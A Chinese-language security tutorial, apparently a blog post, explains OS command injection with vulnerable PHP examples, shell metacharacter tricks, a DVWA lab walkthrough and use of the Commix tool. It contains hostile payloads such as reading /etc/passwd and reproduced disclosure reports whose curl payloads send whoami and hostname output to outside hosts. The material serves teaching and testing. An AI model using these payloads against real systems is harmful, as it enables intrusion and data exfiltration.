• 命令注入和一个分享


    本文作者:i春秋签约作家——夏之冰雪

    系统命令注入是常见的一类漏洞,攻击者可以绕过业务本身,在服务器上执行一个或多个系统命令。

    在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的。

    和sql注入类似,sql注入是将sql语句放到请求数据中;而命令注入,则是将操作系统命令语句放到请求数据中。sql注入,需要判断服务器实用的是哪个数据库,而命令注入则需要判断服务器的操作系统。

    试想这样一个业务场景,由于需要对不同网站进行测速,可能需要对外提供一个接口,接受一个网址,返回ping的结果。那么,很有可能服务器就需要接受一个host,并调用系统ping指令。

    大概的语句如下:

    $target = $_REQUEST[ 'host' ];
    $cmd = shell_exec( 'ping  ' . $target );

    举个网址(不要测试了,没有漏洞,仅是举例):

    http://tool.zhengxianjun.com/ping

    举个网址(不要测试了,没有漏洞,仅是举例):

    http://tool.zhengxianjun.com/ping

     

    命令注入语句分析

    对于参数host,如果我传递的是www.ichunqiu.com,那么会返回正常ping值,大概语句:

    ping [url]www.baidu.com[/url]

    但是如果我传递的是:

    www.ichunqiu.com & cat /etc/passwd

    那么服务器接受后,就不止执行ping了,还会接着执行输出/etc/passwd敏感文件的内容,因为语句如下:

    ping [url]www.baidu.com[/url] & cat /etc/passwd

    这里,我们已经发现:

    如何构造注入语句是成功关键。

    $target = $_REQUEST[ 'host' ];
    $cmd = shell_exec( 'ping "' . $target . '"');

    也许大家会认为很简单,直接在后面追加不就完了么,但是请看下面这个php代码:

    $target = $_REQUEST[ 'host' ];
    $cmd = shell_exec( 'ping "' . $target . '"');

    在target两边,加了双引号,这就导致如果我们直接传递刚才的攻击语句就会失效,因为在双引号里,攻击语句变成了普通字符串。

    那么,有没有办法绕过双引号呢,最简单的办法就是像sql注入那样,直接也加双引号,让前一句闭合。

    但是,对于不同的业务场景,很有可能我们的变量放在了一个非常复杂的语句中,不是简单一个双引号就能闭合的。

    这个时候,我们需要了解一下linux的命令执行技巧,这个技能可以让我们更加透彻地理解命令注入攻击。

    • linux特殊符号的用法

    在linux中,有几个符号在执行命令时非常特殊。

    反引号,也叫倒引号, ` 位于键盘的Tab键的上方、1键的左方。它具有命令替换的含义,在一个命令中如果出现反引号语句,会先执行反引号里面的内容,再执行外面内容。

    举例,正常情况输出一句话,这句话用双引号包起来:

    $ echo "The date is date"
    The date is date

    如果,我将这句话里面的最后那个date用反引号扩起来,那么就会处罚执行date指令,在linux中,date代表时间含义。

    $ echo "The date is `date`"
    The date is 2017年 9月 1日 星期五 20时55分54秒 CST

    也就是说,在攻击中,我们可以不管是否有双引号包围,直接用反引号,执行触发语句执行。

    相比sql注入的严格要求,命令注入显得容易成功的多。

    对于反引号,哪些情况下可以触发执行,我这里给出详细解释:

    如果执行成功,系统会sleep3秒,大家可以在自己linux机器上测试。

    命令注入.png

    除了这个符号,还有以下一些符号,都经常会出现在命令注入攻击中:$ 美元符号

    ; 分号

    | 竖线

    • 系统命令注入场景

    在对企业进行安全测试时候,很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。  

    那么,都会有什么情况会调用系统命令呢?这个真不一定,有时候需要靠猜靠运气,不过代码不会无缘无故调用系统命令,细心研究还是会查到一些迹象的。比如对于图片处理、大文件压缩解压、ppt转pdf等,如果目标网站或者服务器接口提供这样的功能,一般情况下代码都会调用第三方软件,这里举几个例子:  

    1. 图片加水印 

    接口(为了避免出发论坛的图片转换,刻意打成了下面这个样子):

    http ://w ww。test。com/add_water? src=test。jp  g 

    经测试,此接口会对test.jpg加水印。

    猜测代码如下:

    $image = $_GET("image");
    exec("/use/bin/water " . "/var/www/image/" . $image);

    water是系统安装的加水印程序,image是接受的参数,此时image存在命令注入的可能。

    2. ppt转pdf

    猜测代码如下:

    <?php
    $ppt = $_GET("ppt");
    exec("/use/bin/ppt2pdf " . "/var/www/ppt/" . $ppt);

     和上面原理类似,ppt后面可以加命令注入攻击语句。
    除了可能调用系统软件的这种情况,对于很多参数是url地址的,我们也要特别注意。如果某个程序为了省事,直接调用了系统curl命令,那么我们就可以直接注入了。再有就是ping检测功能,以及可能存在网络通讯协议、网络健康监测等功能附近,这些地方都有可能存在系统命令注入。

    真实案例

    列举几个乌云上关于命令注入的漏洞,供学习和参考:

    1. 网易163某站点存在隐式命令注入

    简要描述
    网易163某站点存在隐式命令注入,可远程执行任意Linux命令。

    详细说明
    存在命令注入的是paopao.163.com的Referer,怀疑是某个日志分析服务的问题:

    GET /search/sycProduct HTTP/1.1
    Referer: $(curl h ttp://paopao3.xxxx.dnslog. info/?whoami=`whoami`)
    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
    Host: [url]www.paopao.163.co[/url] m
    Accept-Encoding: gzip,deflate
    Accept: */*

    上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行,而是每天凌晨大约0点到2点钟被执行到。

    漏洞证明

    2.png

    如上图所示,实际上paopao3和163这个子域名都被成功打回了。

    2. 搜狐某站点隐式命令注入Getshell

    简要描述
    搜狐某站点隐式命令注入getshell,利用HTTP request回显命令的基本方法。

    详细说明
    命令注入点:
    [url=http://ldd.sohu.com/d/?c=c&r=$(curl http://www.lijiejie.com:52016/?hostname=`hostname`)[/url]

    参数r可以注入Linux命令。上述链接是我将hostname通过curl打回web server。

    3.jpg

    DVWA靶场

    DVWA有个模块较Command Injection,是专门用来练习命令注入的。

    如图,Command Injection模块提供了ping的功能,输入一个指定的ip,会返回ping的具体结果。通过功能,我们可以猜测到代码用到了系统命令ping。

    4.png

    当我们使用攻击语句“ | pwd”时,即可查看到当前文件所在目录,如图。

    5.png

    这里不做深入展开,有兴趣的可以自行研究具体攻击方法。

    为啥这么着急?

    因为,接下来我要给大家分享神器了。。。

    • Commix

    对于存在命令注入的接口,我们可以利用漏洞接口操作服务器系统命令,拥有和网站相同的用户执行权限。可是每次都通过接口进行注入操作,在通过回显来查看结果,肯定很麻烦,用起来不舒服。

    那么有没有什么工具,能直接通过漏洞接口,进行交互式操作呢?

    这里介绍一款工具————Commix!

    Commix可以帮助我们更高效的发现web应用中的命令注入攻击相关漏洞,并通过漏洞提供交互式的操作。

    git网址:

    https://github.com/stasinopoulos/commix

    指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:

    目标:
    -u URL,--url = URL  目标URL。
     
    请求:
    --data=DATA      要通过POST发送的数据字符串。
    --host=HOST       HTTP主机头。
    --referer=REFERER    HTTP Referer标头。
    --user-agent=AGENT   HTTP用户代理头。
    --random-agent    使用随机选择的HTTP User-Agent头。
    --cookie=COOKIE     HTTP Cookie头。
    --headers=HEADERS    额外标头(例如「Header1:Value1  nHeader2:Value2」)。
    --force-ssl      强制使用SSL / HTTPS。

    我们用commix进行实战,直接攻击DVWA靶场。

    我们用burpsuit进行网络流量截获,获取DVWA发起ping请求时的数据,主要是得到cookie:

    PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low’ –data ‘ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d

    然后启动commix,用到了–headers选项,将cookie携带进去,命令如下:

    python commix.py -u [url]http://192.168.3.108/vulnerabilities/exec/[/url] --headers='Cookie: PHPSESSID=fqdcpsua58ap7m5oshetqj3v95; security=low' --data 'ip=127.0.0.1&Submit=Submit&user_token=bacd8c653a2430eae025e406c0deb06d'

    6.png

    看上图,大概流程如下:

    1. 启动,检测版本是否最新,并提示用户是否更新。

    2. 检测网址是否有重定向,是否跟随重定向。

    3. 询问服务器操作系统,需要我们自行确认windows还是unix。

    4. 开始批量进行注入攻击测试。

    一旦发现注入漏洞,会提示用户是否进入交互式攻击场景下,选择是,就可以像操作命令行一样操作目标服务器了,非常好用,如图。

    7.png

    不过对于返回数据貌似没有换行,不是很美观,比如这里的ps aux,每个进程都挤到一起了。

    总的来说,在命令注入测试中,commix是一款不错的安全检测工具。

  • 相关阅读:
    spring boot的application配置文件
    C# WinForm 中英文实现, 国际化实现的简单方法
    VS2012 2013 显示查找功能 无法具体定位 解决方法
    C#使用HttpWebRequest 进行请求,提示 基础连接已经关闭: 发送时发生错误。
    VS 默认开发环境如何更改
    C# winfrom HttpWebRequest 请求获取html网页信息和提交信息
    C# 定时器 Timers.Timer Forms.Timer
    HTTP 错误 500.21
    配置iis时,浏览项目提示 无法识别的属性“targetFramework”。请注意属性名称区分大小写。
    asp xml对象转换为string
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7474299.html
Copyright © 2020-2023  润新知